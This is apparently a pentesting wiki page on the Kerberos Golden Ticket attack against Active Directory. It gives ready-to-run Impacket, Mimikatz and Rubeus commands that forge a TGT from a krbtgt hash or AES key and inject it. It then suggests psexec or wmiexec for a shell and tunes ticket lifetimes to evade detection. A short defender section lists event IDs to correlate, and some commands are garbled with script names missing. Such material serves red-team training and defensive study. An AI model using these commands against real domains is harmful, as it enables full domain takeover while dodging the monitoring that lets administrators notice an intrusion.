Golden Ticket

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Golden ticket

A Golden Ticket attack consist on the creation of a legitimate Ticket Granting Ticket (TGT) impersonating any user through the use of the NTLM hash of the Active Directory (AD) krbtgt account. This technique is particularly advantageous because it enables access to any service or machine within the domain as the impersonated user. It's crucial to remember that the krbtgt account's credentials are never automatically updated.

To acquire the NTLM hash of the krbtgt account, various methods can be employed. It can be extracted from the Local Security Authority Subsystem Service (LSASS) process or the NT Directory Services (NTDS.dit) file located on any Domain Controller (DC) within the domain. Furthermore, executing a DCsync attack is another strategy to obtain this NTLM hash, which can be performed using tools such as the lsadump::dcsync module in Mimikatz or the script by Impacket. It's important to underscore that to undertake these operations, domain admin privileges or a similar level of access is typically required.

Although the NTLM hash serves as a viable method for this purpose, it is strongly recommended to forge tickets using the Advanced Encryption Standard (AES) Kerberos keys (AES128 and AES256) for operational security reasons.

From Linux
python -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
From Windows
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory

# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi

Once you have the golden Ticket injected, you can access the shared files (C$), and execute services and WMI, so you could use psexec or wmiexec to obtain a shell (looks like yo can not get a shell via winrm).

Bypassing common detections

The most frequent ways to detect a golden ticket are by inspecting Kerberos traffic on the wire. By default, Mimikatz signs the TGT for 10 years, which will stand out as anomalous in subsequent TGS requests made with it.

Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM

Use the /startoffset, /endin and /renewmax parameters to control the start offset, duration and the maximum renewals (all in minutes).

Get-DomainPolicy | select -expand KerberosPolicy

Unfortunately, the TGT's lifetime is not logged in 4769's, so you won't find this information in the Windows event logs. However, what you can correlate is seeing 4769's without a prior 4768. It's not possible to request a TGS without a TGT, and if there is no record of a TGT being issued, we can infer that it was forged offline.

In order to bypass this detection check the diamond tickets:

pageDiamond Ticket


  • 4624: Account Logon

  • 4672: Admin Logon

  • Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property

Other little tricks defenders can do is alert on 4769's for sensitive users such as the default domain administrator account.


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